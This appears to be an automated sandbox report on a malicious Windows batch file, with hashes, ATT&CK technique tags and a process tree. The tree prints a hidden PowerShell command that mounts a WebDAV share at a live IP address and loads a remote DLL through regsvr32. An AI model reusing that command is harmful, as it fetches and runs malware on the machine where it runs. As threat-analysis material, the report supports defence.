539737db590979dcb212bd39b147c91aabf1240bbcaf95662a2c2b4c6870db13

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19-07-2024 15:59

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General

Target

333146882317618270.bat
Size

15KB
MD5

3ce90f296aa782d390a934fa4a1c0cc9
SHA1

c2db88c3a4d2731327ff632d63f2c5d85dbce377
SHA256

539737db590979dcb212bd39b147c91aabf1240bbcaf95662a2c2b4c6870db13
SHA512

552bba9bd378be013a68acf606b3a5fc78b369994dfbb0b0ba547b2860775a3eb7c6be7d948ccbc9e05865a3f790c0d492a65b7ff868dddeef247dbeb5b0332e
SSDEEP

384:rRTfPtLgROLL1hDFBPF3+ub4BXnX0BPN3b3p:lTfPtk4L1hDFLPu0PVp

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1724	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1724	powershell.exe
1724	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1724	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1532	wordpad.exe
1532	wordpad.exe
1532	wordpad.exe
1532	wordpad.exe
1532	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3144 wrote to memory of 1532	3144	cmd.exe	85
PID 3144 wrote to memory of 1532	3144	cmd.exe	85
PID 3144 wrote to memory of 1724	3144	cmd.exe	87
PID 3144 wrote to memory of 1724	3144	cmd.exe	87
PID 1724 wrote to memory of 2036	1724	powershell.exe	89
PID 1724 wrote to memory of 2036	1724	powershell.exe	89
PID 1724 wrote to memory of 4012	1724	powershell.exe	90
PID 1724 wrote to memory of 4012	1724	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\333146882317618270.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3144
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\84782453619432.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2036
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\84782453619432.dll
    3⤵
    PID:4012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ly1gl1on.cgl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1724-9-0x000002A9FDBE0000-0x000002A9FDC02000-memory.dmp

Filesize
136KB

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